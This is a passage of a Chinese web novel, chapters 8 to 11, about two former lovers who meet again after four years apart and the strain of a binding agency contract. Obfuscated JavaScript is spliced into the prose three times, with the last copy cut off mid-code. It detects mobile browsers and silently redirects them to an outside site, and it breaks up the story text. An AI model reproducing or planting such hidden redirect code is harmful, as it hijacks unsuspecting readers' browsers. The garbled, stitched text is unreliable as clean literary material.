他有些想不通:“你和裴序是怎么回事,长这么帅还不谈,简直是浪费。我有个表妹,要不要介绍给你——” 陈清卓没说完,就被林乔踢了一脚:“闭嘴吧你!” 陈清卓立刻闭上嘴巴。 好像是错觉,宁也在这时候,听到了身旁很低的一声轻笑。 不知他是在笑被女朋友完全拿捏的陈清卓,还是在笑别的什么。 8. chapter 08 08 今晚的四个人,只有陈清卓喝醉。 他和林乔带来的红酒,他一个人就喝了半瓶。 晚餐结束,裴序和宁也先将醉酒的陈清卓扶去客卧的床上,随后裴序离开房间,去厨房煮解酒汤。 客卧只有一张床,没什么其他的东西,看起来平时应该没有其他人留宿。 宁也也不知自己怎么会想到是不是有人在裴序家里留宿,就算有,也不关他的事。 “这家伙,酒量差的要命,还非要喝,现在好了,不省人事。” 林乔坐在床边用湿毛巾擦着陈清卓的脸,一边擦一边吐槽。 宁也看了看陈清卓满是红晕的脸,问林乔:“一会儿你们怎么回去,要我帮忙吗?” “没事,我没喝酒,能开车。不行就让他在这睡一晚。你还要赶飞机呢,不用管我们。哎,你这次回去逾市,什么时候再过来?” 宁也说不准下次会是什么时候,就笑了一下:“不大确定,但是你们结婚,我一定会到。” “有时间你就常回来嘛。”林乔给陈清卓擦好脸,收着毛巾看向宁也,意有所指地说:“其实,南市也挺好的,对吧?” 宁也余光不自觉瞥向客卧关上的房门,想到那个在外面厨房的人,眼眸暗了一度,回答林乔的时候,更像是在说给自己听:“逾市也挺好的。” “但是南市更好呀,你要是回来工作,还能天天见到我们呢。” 林乔抓住机会朝宁也抛出橄榄枝:“你大学不是学的摄影嘛,我们公司是做短视频的,你要不要过来试试?” 宁也没有第一时间回答,林乔见他表情犹豫,感觉看到希望,连忙说:“我敢打包票,待遇非常非常好,绝对值得你加入。” “我没办法回来。” 或许是裴序不在,陈清卓睡着了,宁也才愿意跟昔日关系很好的同桌提起合约的事情。 “我身上还有经纪约,没有办法去别的地方。” “经纪约?什么经纪约?” “我大学的时候签过一家经纪公司,现在还在合约期内。” “啊,怎么都没听你提起过,那你毕业之后就直接留在经纪公司了吗?” “差不多。” 宁也签约经纪公司的事情,林乔完全不知道,她有些意外,也有些可惜:“我还想着叫你加入我们公司呢,没想到你身上还有合约。” 宁也抿起唇角,微微笑了一下,言辞之中透露几分无奈:“我也想加入你们公司,但没办法。” “没事啊,你要是想回来,就跟经纪公司解约嘛,他们难道还能绑着你不让你走。” 宁也停顿片刻,不知道该怎么说。 林乔虽说的是玩笑话,但也是真相。 他确实被绑着,不能走。 林乔看到宁也的表情有些奇怪,不禁意识到什么,缓缓收起脸上的笑:“不会真被我说中了吧……你真被经纪公司绑着?” 宁也没说话,算是默认。 “不是吧,真的是这样?你不会是碰上那种专门骗签约赚高额违约金的经纪公司了吧?” 林乔忍不住惊呼起来,随即作出更大胆的猜测:“你千万别告诉我,你因为这个合约,毕业之后连工作都不能找……” 宁也沉默了一下,没有否认林乔的猜测。 他现如今的处境,说起来还是蛮难堪,蛮丢脸。 毫无人身自由,大学毕业之后,连工作都不能找。 这时候,门口传来开门的声响。 随着这声突兀的声响,宁也的心跳倏地落空一拍。 他回头,看到裴序正站在门口,右手端着一杯煮好的解酒汤。 裴序的出现,打断了宁也和林乔的对话。 宁也不确定裴序有没有听到什么,慌乱和紧张顿时在胸腔内蔓延,目光不自觉避开了裴序的方向,不敢与他对视。 裴序没说话,缓步走近之后,将手中的水杯递给林乔,视线不着痕迹地落在宁也身上,睫毛微压。 宁也敏锐察觉到裴序仿若审视的目光,心虚让他感觉自己所处的地方变得很逼仄。 他有一种很不好的预感,这里就像是是非之地,让他很想立刻离开。 “时间差不多了,我要赶飞机,先走了。” 宁也低着眸,没有看裴序,只跟林乔告别:“下回见。” “啊?这么快就走啦?让裴序送你去机场吧,他晚上刚好没喝酒——” “没事,不麻烦他。” 林乔愣愣眨眼,眼看宁也走了,赶忙冲一旁的裴序使眼色,暗示他快点追上去。 裴序却是沉着双眸,表情微绷,看着情绪不好。 林乔有点懵,搞不明白这是什么情况,怎么裴序看上去有些生气? - 门砰一声关上。 宁也站在裴序家门外,背对着门,仰头深呼吸,终于感觉呼吸顺畅了一些。 他调整情绪,迈着和心一样沉重的脚步走向电梯,按了往下的按键。 电梯停在28层,到达这一层,只需几秒。 在电梯到达、开门的瞬间,宁也听到了裴序家里开门的声音。 他下意识转身看过去,猝不及防撞进裴序黑如漩涡的双眸。 那种不好的预感再次袭来,宁也的心脏猛地颤动,背脊发麻,第一时间转回头,避开裴序的视线。 电梯门即将自动关上,宁也抬了一下手,电梯感应到,又打开了门。 宁也快速抬起脚步走进电梯,抬手按楼层时,一只手臂忽然拦在了他面前。 几乎是同时间,手臂的主人直接拽住他的手腕,不由分说地将他从电梯里拉出来。 宁也被裴序拉着,踉跄着往前走,手腕被裴序攥得很痛。 “你干什么——裴序——你放手——” 裴序没有回答宁也,也没有搭理宁也的挣扎,直接拽着他走向另一侧,抬手推开消防门。 宁也被裴序拽到了无人的消防通道里,后背重重撞到墙壁。 消防通道的感应灯因为两人发出的声响适时亮起,照亮后面冰冷的楼梯,同时也照亮了两个人的脸。 背脊和肩胛传来的痛感让宁也皱起眉头,他抬眸瞪向裴序时,声音里充满了不悦的情绪:“裴序你是不是有病?!” 裴序单手按住宁也的肩膀,将他摁在墙壁上,另只手抬起,手指无情箍住宁也清瘦的下颌。 指尖用力,像是要将宁也下颌的骨头捏断。 “这就是你的选择?” 冷如冰刀的字,一个一个落到宁也耳朵里,让想挣扎的他瞬间僵直身体。 他太讨厌这种默契,因为他不止能听懂裴序的话,同时还能确认,刚才自己和林乔的对话,裴序都听到了。 宁也有一霎那想要逃避,撇过头不想面对裴序,不想回应。 但裴序眼神凌厉,修长的手指用力几分,扣紧宁也的下颌,逼迫宁也与自己对视。 下颌传来的疼痛再一次叠加,宁也被迫直面眸色黑沉的裴序,避无可避。 宁也看着裴序锋利紧绷的下颚线,被戳破的难堪在他心里翻滚,他伸手推裴序,挣扎着:“放开我——” 裴序没动。 宁也见自己的反抗没用,抓住裴序的胳膊低头咬了下去。 咬得很深,不留丝毫情面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013959|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>手臂传来的疼痛感让裴序眉头深蹙,他绷着脸往后退了一步,放开了宁也。 冷白的感应灯下,两人相对而站。 宁也背靠着墙壁,掀起眼皮与高他一些的裴序对视,眼底的攻击与防御好似是在面对仇敌。 “是,”他终于开口,回答裴序,“这就是我的选择。” 得到答案的裴序紧盯着宁也,眉眼不带温度,声线发冷:“是么?我还以为你放弃我之后过得有多好,结果就是这样?受制于人,毕业找不到工作,差旅费不给你报销,住最差的宾馆——” “宁也,你现在敢说你的选择是对的?” 宁也突然意识到,昨天他和公司的通话,裴序也听到了。 他的心倏地沉入万丈深海,无处可躲的窘迫如冰冷刺骨的海水,四面八方朝他涌来,无情淹没他的呼吸。 即使心快要被撕裂,窘迫快要将宁也吞噬,宁也也不肯示弱,倔着语气回道:“这是我的选择,不管是对是错,都跟你没关系。” 话音落下的霎那,宁也的衣领被突然上前的裴序拽紧,裴序带来强烈的压迫感,逼迫着宁也再次仰起脖颈。 “跟我没有关系?”裴序压着嗓子,每个字都像积攒着怒意,“为了签约,不惜跟我分手,还敢说跟我没有关系?” 宁也的眼圈不动声色的泛红,裴序这样压迫着他让他喘不过气,他却反而勾起唇角笑了一声。 “真是对不起,我没有用你换到一个好的前程,没有出名,没有大火。真是太辜负你了。” 听到宁也这样说,裴序的眉头皱得更深几分,宁也的衣领也被他拽得更紧。 宁也却是放弃挣扎一般,轻笑几声,平直清瘦的肩膀随之颤动。 “你要是想嘲笑我,尽管嘲笑,反正我已经过得这么差劲了,不差你一句活该。” 裴序停了半刻,漆黑的眸色隐约晃动,他听出了宁也话语里的自我放弃,一丝心疼狠狠划过他的心脏。 他忍下心内的气愤和质问,隐隐抱有一丝期待般,盯着宁也的眼睛问:“后悔过吗?” 宁也的表情略有松动,而后坚定眸光,直直迎接着裴序的视线,说出两个字:“没有。” 裴序似是被气笑,低声笑了一声,松开宁也,站直身体。 “很好。”他点着头,“真有你的。” 宁也扯起唇:“谢谢夸奖。” 裴序没有再说话,最后回应宁也的,是被裴序用力甩上的消防门,声响剧烈。 裴序走了。 宁也独自被留下。 不知多久之后,消防通道里的感应灯灭了,留下漫无边际的黑暗。 就是在这样的黑暗里,停滞许久的宁也缓缓闭上眼睛,后背顺着墙壁滑落,坐到地上。 他背靠墙壁,曲起一条腿,手臂搭在曲起的膝盖上,仰头望向头顶的黑暗。 他又笑了一下,眼尾无声无息泛潮。 裴序是应该生气的。 宁也觉得裴序没有错。 如果他这几年顺风顺水,混得小有名气,或许裴序也不至于这么生气。 当时他为了签约逾市的经纪公司,私自改了高考志愿,违背了两人的约定,后面又提出分手,是他对不起裴序。 如果可以,宁也也不想改志愿,不想去逾市,不想签约经纪公司,也不想出名不想赚钱,这些他全都不想—— 他根本没的选择。 就这样吧。 宁也想,现在这样也挺好,至少以后他不用再在裴序面前拙劣地掩饰自己失败的现状。 以后…… 不,没有以后。 他们早就没有以后了。 9. chapter 09 09 餐桌余下的半瓶红酒,全被裴序灌进胃里。 酒是什么味道,他根本尝不出来,只觉得喉咙苦涩,满心的不甘。 四年前的分手,两个人都有带有一定的赌气成分。 年少气盛,吵架之后,谁也不愿先让步,谁不愿意先低头。 更何况,裴序还是被分手的那一方。 这四年的时间里,裴序单方面拒绝打听宁也的消息,从没主动问过他回逾市之后过得怎么样,仅有的消息都是从奶奶和朋友那边知晓。 裴序一直以为,宁也过得很好。 那样狠心分手的人,决意要去过了想要的生活,怎么会过得不好? 现在,裴序知晓了宁也这几年发生的事,积攒了四年的对他决然分手的怨恨,不知何时演变成了心疼。 明明那样恨他,却又这样心疼他。 裴序真的不明白,为什么宁也会过成这样,更不明白宁也为什么在做了这样一个错误的决定之后,还是没有半分的后悔。 裴序垂眸望向餐桌上宁也几乎没动过的筷子和碗,意识到宁也今晚几乎没吃什么东西。 宁也就这么抗拒吗? 难道他忘了,当初是谁说的,他们两个人需要有一个人学会下厨? 他是不是也已经忘了,曾经他们约好读了大学之后就一起在外面租房子住? 这些事情,宁也忘了,裴序没忘。 即使怨恨了宁也四年,裴序仍然在这四年里做到了他曾经承诺宁也的事。 搬出来住,学会下厨,学会每一道宁也喜欢的菜…… 看吧,人就是这样矛盾。 一边恨着,又一边守着承诺,不知道到底在等什么。 这半瓶红酒并不能填补裴序心内的裂缝,他走去打开酒柜,拿出一瓶高度数的伏特加。 回到餐桌,开瓶,倒酒,一气呵成。 裴序仰头灌酒的时候,喉结重重滚动,满是酒精的液体顺着喉咙到达胃里,溢满胸腔却是无处可逃的晦涩。 在客卧的林乔听闻外面有声音,从房间里出来,见到折返回来一个人坐着喝酒的裴序,很是意外。 “咦,裴序,你怎么回来了?你不是要送宁也去机场吗?” 听到林乔的声音,裴序动作微顿。 随后,他藏起自己所有外露的情绪,如无事发生一般,故作平淡道:“他走了。” 走了? 林乔有些疑惑,走近瞧了眼餐桌上新开的酒瓶和独自喝酒的裴序,隐约觉得事情好像没那么简单。 “你就让他一个人走了啊?刚刚你追出去,我还以为你是要送他去机场。” 想起刚才在消防通道发生的事,裴序的眸色沉下几分,没有即刻回答林乔的疑惑。 “裴序?你怎么了,你和宁也发生什么了吗?” “没什么。” 裴序出声,而后喝完酒杯里的最后一口酒,修长的手指攥紧玻璃酒杯,放置到桌面,问:“陈清卓还好么?” “好着呢,喝多了而已,我正准备带他回去。” “我送你们。” “不用,你都喝酒了,还怎么送。” 说到这,林乔忍不住撇撇嘴,似有所指般说:“不过啊,有些人真的很奇怪。为了送人去机场,一晚上没碰酒,结果人没送,自己倒在这喝起闷酒了。” 林乔话里话外的意思足够明显,裴序听得明白。 他没否认林乔的话,但也没作回应,只沉默着,又给自己倒了一杯酒。 眼里眉间,情绪藏得很深。 林乔本还想再多说几句,可见裴序心情实在有些差,又不忍心戳他的心了。 她知道今晚裴序是特意叫她和陈清卓过来的,整个晚上她也在很努力地帮裴序说话,很努力地劝宁也留下来。 但没想到裴序连送宁也去机场的机会都没抓住。 作为裴序和宁也的朋友,林乔真有一种想帮忙却无从下手的无力感。 - 深夜最后一趟轻轨。 台风过去,轻轨恢复运营。 列车车厢内白光冷冽,寂静空旷,随着列车的前进,耳边似有微弱的哐哐声。 再仔细听,又好像什么都没有。 这趟轻轨的终点是南市机场,列车内的乘客大多都带着行李箱。 宁也坐在靠窗的位置,侧头便能看到漆黑的外景,以及窗户玻璃上映衬出来的自己的脸。 他看了自己很久,脑袋空白又混沌,直到眼眶疲涩,才缓慢转回头,闭了闭眼睛。 这趟糟糕的南市之行,终于要结束了。 稍微缓过心情后,宁也戴上耳机,打开音乐软件。 他原本想听会儿音乐,手指却在手机屏幕上停顿,转而退出,点开了隐藏的相册。 他和裴序那一年所有的回忆,都在这个隐藏相册里。 这里有他们一起拍的照片,一起拍的视频,也有很多他偷拍的裴序。 这些东西,四年前就该删掉的。 只是宁也舍不得。 他做不到那样狠心,更是觉得,他能拥有的,就只剩这些了。 宁也一张一张照片翻阅着,像是重新与四年前的自己见了一面,同时也跟四年前的裴序见了一面。 平日不大爱笑的裴序,会在宁也的镜头里轻弯唇角,漆黑的眼眸在面向他时,沉而柔和。 爱人的眼睛像海洋,他能在裴序的眼睛里,看到那时那刻独属于自己的千千万万的汹涌爱意。 照片中间有个视频,宁也点开播放,随着开头的晃动,画面逐渐清晰,裴序的声音也通过耳机传到宁也耳朵里。 “别躲,过来对着镜头说你刚刚在想什么东西。” 宁也看到视频里面的自己,双手努力挡着裴序的手机镜头,躲不掉也推不开。 “什么都没想——别拍我,快关掉——” “脸这么红,还敢说什么都没想?” 裴序只有声音出现,能听见他明显轻笑:“宁也,后天就考试了,你脑袋里还能有黄色废料?” “滚——” 羞恼的宁也抢不走手机,关不掉视频,干脆转身要走,结果被裴序一把抓过,摁在了床上。 视频画面猛烈晃动,随即便是一片黑暗。 宁也记得,当时裴序将手机丢在了床侧,画面没拍下来,但是声音全都录了下来。 “你跑什么?” “放开我啊混蛋,正常的生理现象你难道没有么,一直问问问,有什么好问的?” “生理现象当然不奇怪,我只是奇怪我当你面换个衣服而已,你怎么又脸红又有反应的。” “……” “别装死,说话。” “……” “宁也,你再闭着嘴巴不回答,我就要想办法撬开你的嘴了。” “……你很烦!是,我就是有反应了,我不能有吗?!” 宁也气急败坏的声音过后,黑暗画面里余下的便是裴序低低沉沉的笑声。 视频到这里就结束了。 当时的宁也偷偷在裴序手机里找到这个视频,趁裴序不知道的时候传到了自己手机里。 手机震动起来,有新的来电。 宁也从视频和回忆中抽神,下意识看向屏幕上方显示的来电人,突然一阵恍惚。 不断震动的手机一直颤动着他的手指,更颤动着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013960|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 来电人是裴序。 宁也恍惚很久,僵直着身体一直没动。 来电因为没有接听而自动挂断,但是第二个来电又马上打进来。 宁也喉结微动,眼底满是挣扎犹豫。 他不知道为什么裴序还会给他打电话,他们晚上闹得那么难看,裴序为什么还要找他? 第二个电话又自动挂断。 紧接着,第三个打进来。 这是第三个了。 宁也的手指在手机屏幕悬停着,理智溃败于不断震动的手机,手指轻轻点了一下,接起电话。 几乎是同时间,裴序的声音从宁也戴着的耳机传来,与刚才视频里的声音相差无异,只是声调泛冷。 他说:“东西没拿。” 宁也滞了片刻,想起自己离开裴序那里的时候,再次忘了拿走纸袋子。 原本他就是为了拿回纸袋才去的裴序那里。 这种事情不需要再重复,现在他走了,不会再回去拿。 “不要了。”宁也开口,“扔了吧。” 电话那头有几秒的寂静,随后,宁也听到裴序冷漠的笑声:“说不要就不要,够狠心。” 宁也:“……” “那医药费怎么算?” “什么?” “你咬了我手臂,破皮了。” “……” 宁也开始怀疑电话那边的人到底是不是裴序,听声音和语气又是本人,但他在说什么? 破皮了?医药费? “你别以为你走了,就什么都结束了。宁也,你欠我的,我一定会让你还回来。” 裴序说完这句话,就兀自挂断了电话。 几近冷然威胁的话语,宁也听得脑子发愣。 等反应过来时,轻轨已经到达机场站,要下车的乘客已经推着行李箱在门口依次下车。 宁也来不及想太多,赶忙握着手机从座位上起来。 城市另一端。 裴序挂断电话,只剩他一人的房子瞬间静下来,空气无声,寂静环绕。 林乔带着陈清卓离开时,特意叮嘱裴序不要喝多,喝闷酒容易出事。 但裴序没听。 也是因为这半瓶的伏特加,裴序才能借着酒精打开手机,直接输入倒背如流的那个手机号码。 现在他的耳边仿佛还有宁也的声音,那样冷淡的几个字:不要了,扔了吧。 嗯,不要了,扔了吧。 裴序轻笑一声,将轻薄的手机丢到茶几上,黑沉的眼睛盯着宁也遗忘的纸袋子。 狠心的人果然对什么都狠心。 自己的东西,说不要就不要。 而他,还不如这个纸袋,起码宁也还特意过来取过。 但是他呢? 宁也在分手之后,有想过回头吗? 应该没有吧,宁也自己都说了,对于当年的选择,没有一点后悔。 四年才肯回来一次,打了三个电话才肯接,裴序越是确定自己在宁也心里的位置,就越是不甘。 但是没关系。 现在裴序无畏宁也的无情,反正他不会再纵容下一个四年的空白,不会再纵容宁也抛弃自己。 裴序敛眸,瞧了一眼自己手臂上齿痕清晰的牙印,重新拿起手机,拨出去一个电话。 “抱歉,下班时间打扰你。” 裴序对着电话那头的人说,“麻烦帮我查一个人,名字和身份证号一会发给你,我要知道他近四年里所有的事情。” 对方应下来后,裴序轻动眼睫,考虑到什么,加了一句:“这件事保密,不要告诉任何人,包括我爸。” “好的,小裴总。” 10. chapter 10 10 逾市的夏天是闷热寂静的,午后阳光从老旧楼道的花纹镂空砖钻进来,静静倾洒在楼梯旁斑驳的墙面上。 透过花纹漂亮的镂空砖,能看见楼外绿色繁茂的黄桷树树冠,叶片层层叠叠,浸润在夏日阳光里。 宁也提着行李箱,踩着布满灰尘的水泥楼梯一步一步往上走,墙面光影似乎在他眼前跳动,迎接着他回家。 这栋上了年纪的居民楼是宁也外公外婆的旧居,两位老人在宁也很小的时候就去世了,只留下这一套房子。 四年前,宁也回到逾市,跟自己的母亲见了一面。 父母离婚之后,宁也跟着父亲回到南市,刚开始他还会跟母亲通电话,但随着时间流逝,通电话的次数越来越少。 宁也也是这次回来,才知道母亲很早之前就已经再婚,有了新的孩子。 他们在一家孩童很多的麦当劳见面,宁也第一次见到自己同母异父的妹妹,小小一个,安静睡在小推车里。 她穿着粉白色的连体衣,小脸嘟嘟的,皮肤很白。 妈妈说,妹妹刚刚二个月大。 然后,她给了宁也一串钥匙,让宁也去住外婆家。 十八岁的少年,没有来得及抱一抱自己从没见过面的妹妹,就被自己的妈妈以一串钥匙分割关系。 宁也当时在座位上坐了很久,麦当劳里一直响着孩子们嘈杂的声音,他们有爸爸妈妈陪着,尽情的闹,尽情的笑。 而宁也,在那些嘈杂声里,有了一种自己被全世界抛弃的错觉。 或许…… 那也并不是错觉。 宁也什么都没说,接受了那串钥匙。 除了母亲每个学期开学前汇过来的学费,他再没有联系过她。他按她的心意,不去打扰她现有的家庭和生活。 这栋楼的楼上楼下住着的多是年纪偏大的老年人,宁也提着行李箱上楼,能经过他们家门口。 爷爷奶奶不常关门,油烟和炒菜的声音从每户家里传出来,给盛夏寂静的午间添上几分烟火气。 宁也住五楼,六楼是天台坝子,这栋楼的爷爷奶奶们在上面种了许多菜。 几天不在家,灰色防盗门上又被贴上几张新的小广告。 宁也将小广告撕除后,用钥匙打开门。 客厅朝南,浓郁的阳光正透过玻璃窗子倾洒在颜色泛旧的藤条沙发上,一侧照不到阳光的餐桌正陷在阴影里。桌上是椭圆形的透明鱼缸,几条小金鱼摆着尾巴在水里游动。 鱼缸是旧的,金鱼是宁也上个月在花鸟市场买的。 他在这里住了四年,房子里大部分的东西都是外公外婆生前留下的旧物件,装修和格局也都维持原样。 宁也知道这里不是属于自己的家,这是外公外婆的遗产,他们的孩子都有份。 如果哪天舅舅姨妈提出要收房,他就得从这里搬走。 正是这样清楚的认知,所以房子里面没有太多属于他的东西,他也一直做着随时搬离的准备。 身后的防盗门砰一声关上,宁也站在玄关,瞬间卸掉了浑身的力。 从南市到逾市,回到这里,他才觉得自己终于可以找回自己的呼吸。 在南市的那两天,就当是时隔四年又重新做了一场跟裴序有关的梦吧。 冗长的午后,宁也收拾了房子,整理了行李箱,台风夜滞留在裴家穿的那套衣服,洗过之后晾晒在阳台。 衣架勾着晒衣绳,衣服轻轻晃动着,像是他逝去的少年时光,在光影中晃着,晃着,然后停摆。 - 三个月后。 逾市一旦进入秋冬,整个城市的色调就冷了下来,日光变的稀薄。 西城大道两侧成列挺拔的银杏树是这个季节唯一的亮色,扇子形状的叶片无论是在枝头还是落在路面,都层层叠叠一片金黄。 被日光笼罩时,更像是在璀璨发光。 逾市大大小小的道路两旁都有银杏树,但是西城大道的景色最漂亮最出名,每年这个季节都有许多人过来打卡拍照。 宁也今天的工作就在这里。 有人约拍,他是约拍摄影师的助理。 打光,布景,等摄影师拍摄完,天边的红日正隐隐向西,即将坠落山的那边。 约拍的是两个女孩,拍完之后她们赶时间,先打车离开,宁也负责收拾打光板和一些零零散散的东西。 摄影师尹治在旁边检查着相机里的照片,问宁也:“明天有什么安排?” 宁也收着东西,以为尹治是在说工作,就问:“明天有单子吗?” “不是。” 尹治笑了笑,取出相机里的内存卡,换了一张新的,然后对宁也说:“明天是你的生日,你忘了?” 宁也微愣。 明天是生日吗? 他确实忘了。 “看来你确实是忘了。要是明天没有安排,晚上要不要一起吃顿饭?” 尹治发出晚餐邀请。 他比宁也大不了几岁,是宁也大学同系的学长,差了几届。 去年宁也找兼职,他刚开了个人工作室,需要一个助理,两人因此认识。 “这段时间单子比较多,你也辛苦了,就当是老板对员工的奖励,顺便给你庆祝一下生日。” 尹治给自己的邀请找了一个合适的理由,他看着宁也,无边框镜片后面的眼睛微微显露着笑意。 宁也有一点犹豫,没有马上应下来。 这几年,他一直都是一个人,生日对他来说,跟普通的一天没有什么区别。 他也已经很久没有过过生日。 稍作考虑后,宁也答应明天的晚餐:“明天应该是我请客,不是老板对员工的奖励,是员工对老板的感谢。” 宁也一直都很感激尹治,在他因为身上合同只能做兼职的时候,尹治主动提出让他来工作室做长期的助理,待遇和工资一点都没因为没有劳务合同而有所克扣。 于情于理,他都应该请客表达一些谢意。 见宁也答应,尹治唇边的笑意更深几分:“好,那就这么说定了,明晚见。” 宁也点点头,继续收拾东西。 尹治看了看他,随后调整相机参数,将挂在脖子上的相机取下来,递过去:“拍几张吧,拿我练练构图。内存卡换了,参数大概调了一下,你可以按你的喜好再调。” 尹治对宁也的帮助不止是工作上,他很有耐心,教宁也很多拍摄上的技巧,每次工作完,他都会让宁也自己尝试拍一下,再现场给他指导。 宁也停了一下,放下手里刚收好的打光板,伸手接过相机:“谢谢。” 尹治本想说不用每次都这么客气,可想想还是算了,他以前说过的,但下一次宁也还是会礼貌客气地跟他说“谢谢”。 他能感觉得到,宁也有自己的世界,不愿跟任何人亲近。 他想靠近,但很难。 此时正夕阳西下,道路两侧的行人渐少,路面落叶被风吹卷,匆匆掠过宁也脚边。 宁也拿着相机,低头查看尹治调好的参数,神情专注,没注意尹治看自己的眼神。 他确实有自己的世界,他活在他那个世界里,对于周遭的一切,全都选择性屏蔽。 现实生活对宁也来说,不过是两个字:活着。 宁也拍摄完已经是一个多小时后。 天色渐暗,他和尹治不再多留,一起回到工作室。 尹治有事先走,宁也导出今天的约拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因为他看到裴序在瞧见他后,收起手机,淡定站直,脸上似乎没有任何表情的变化。 两个人隔着距离对视好一会儿,裴序看似很有耐心,等着宁也自己走过来。 宁也被冷风吹得稍微清醒一些后,抬起脚步,一步步的,朝裴序所在的楼道口走去。 时隔三个月,两人在另一个城市的深夜,在安静的老旧居民楼楼下,再次面对面。 宁也眼底复杂情绪,他没再和裴序对视,略微低眸,视线落在裴序线条利落的下颌和形状好看的薄唇上。 宁也动动喉结,先开了口:“你找我?” 裴序的唇角明显微动,薄唇一张一合:“不然?” 宁也忽然不知道该说什么。 “我在隔壁市出差,奶奶有东西让我顺路带给你。” 裴序不浪费时间,言简意赅,说了自己出现在这里的原因,然后提起手中拎着的袋子,从里面拿出一条羊毛线织的红色围巾。 “奶奶给你织的。” 宁也低眸看向裴序手里拿的红色围巾,裴序的手指在暗红的围巾里白皙修长,指骨清晰。 “帮我谢谢奶奶。” 宁也说着,伸手去拿围巾,但裴序却及时收回手,将围巾重新塞回到了袋子里。 他的手臂垂在身侧,像原来那样拎着袋子,看着似乎是不打算把围巾给宁也。 宁也顿滞片刻,掀起眼皮瞧向裴序,眼底略有不明。 裴序却是看着宁也,翘着唇角,似笑非笑。 “奶奶以为我是顺路,但我一点都不顺路。” 他不紧不慢说着,问宁也:“为一条围巾我这么麻烦赶过来,不准备请我上楼坐坐?你不会是想拿了围巾就走,连一杯水都不给我喝吧?” 11. chapter 11 11 一个月前,裴序回老宅看望奶奶。 入冬的南市,午后阳光充沛,裴奶奶坐在客厅里缠毛线,开着的电视正在放午间新闻。 新闻说,最近一周全国大部分地区会急速降温,多地甚至会有冻雨现象。主播播报了几个气温变化较明显的城市,其中就有逾市。 裴序不动声色地听着新闻播报,裴奶奶倒是缠着毛线球叹气:“唉,逾市要大降温,也不知道阿也会不会看天气预报。” 宁也离开的这几年,裴奶奶会经常跟裴序提起宁也。 之前几次,裴序都装着没有反应,这一次,他沉默一会儿后,主动开口。 “奶奶担心他?” “怎么不担心,瞧瞧他上次回来,人都瘦了一圈,脸上都没肉了。虽说他跟他妈妈生活在一块,他妈肯定会照顾好他,可我瞧着,总觉得这孩子在那边没吃好没睡好。” 裴序想起些什么,眸色暗了暗,没有跟奶奶提宁也母亲的事,只说:“下个月我有半个月的假期,可能会去趟逾市。奶奶有没有什么需要我带给他?” “你舍得放假啦?”裴奶奶听裴序有假期,笑起来,眼角露皱纹深了几度,“你爸说你节假日都待在公司里,让你放松几天你都不肯,这回倒是给自己放假了。” 裴序没说原因,裴奶奶继续说:“要说给阿也带东西,也不知道他缺什么……” 奶奶一瞧手中的毛线,马上有了主意。 “这羊毛线暖和,我给他织条围巾,就是颜色红了点……不过那孩子白,红色戴着肯定好看。降温的时候,正合适。” 于是,这条红色围巾,在一个月后,穿越几千公里,被裴序送到了宁也面前。 临近深夜十一点,夜静得仿佛没有一丝声响。 这栋楼的住户多是老年人,老年人睡得早,一眼望去,整栋楼的窗户几乎都是暗的。 宁也和裴序站在楼底唯一的灯源底下,僵持了几分钟。 宁也心内挣扎,做着剧烈的思想斗争。 按理说,他应该邀请裴序上楼,毕竟裴序是为了给他送奶奶织的围巾,才从那么远的南市过来。 可是理智又在告诉宁也,他不应该让裴序去他住的地方。 他不该再和裴序有牵扯。 冬夜冷风中的僵持,让宁也的鼻尖被风吹得隐隐发红。 他穿得不多,里面一件薄的黑色圆领卫衣,外面套了一件不够厚实的外套,拉链敞着,寒风不断地往里面灌。 裴序瞧见宁也发红的鼻尖,眉头微蹙,主动结束两人之间的僵持。 他脱下自己身上穿着的羽绒外套,套到宁也身上,然后也不管宁也有没有答应让他上门,兀自转过身,往楼道里走。 “五楼对吧?”裴序说着,脚步踏上水泥楼梯。 宁也一时没反应过来,身上多出来的这件羽绒服,温暖厚实,似乎是将裴序的体温直接过渡到了他的身上。 宁也懵着表情,目光追随裴序的背影,当看到裴序走完第一段台阶,马上要转身上二楼时,才回过神,快步跟上去。 楼梯上的感应灯一楼一盏,随着一快一慢的脚步声,逐楼亮起。 裴序不紧不慢走在前面,宁也小跑了几步才在楼梯追上他。 宁也拉住裴序的手臂,裴序停步,两个人在楼梯上一高一低的对视着。 冬夜温度很低,冷风从楼梯过道的镂空花砖里穿透进来,直拂两人面颊。 宁也抓着裴序的手臂,能感受到手掌底下布料的冰凉,目光不自觉落到裴序的衣服上,单薄的宽版牛仔衬衣硬挺有质感,却明显单薄。 短暂的犹豫,理智最终还是溃败于情感,宁也松手,妥协。 宁也将身上外套丢还给裴序,什么都没说,绕过裴序往楼梯上面走。 他没有赶裴序离开,也没有直说裴序可以跟过来,无言的背影像是默认裴序跟上。 裴序的眼睛跟着宁也移动,落后宁也两步后,缓慢跟上去。 两人共同到达五楼。 钥匙插进锁眼的时候,宁也的手腕稍作停滞,还是一瞬间的退缩。 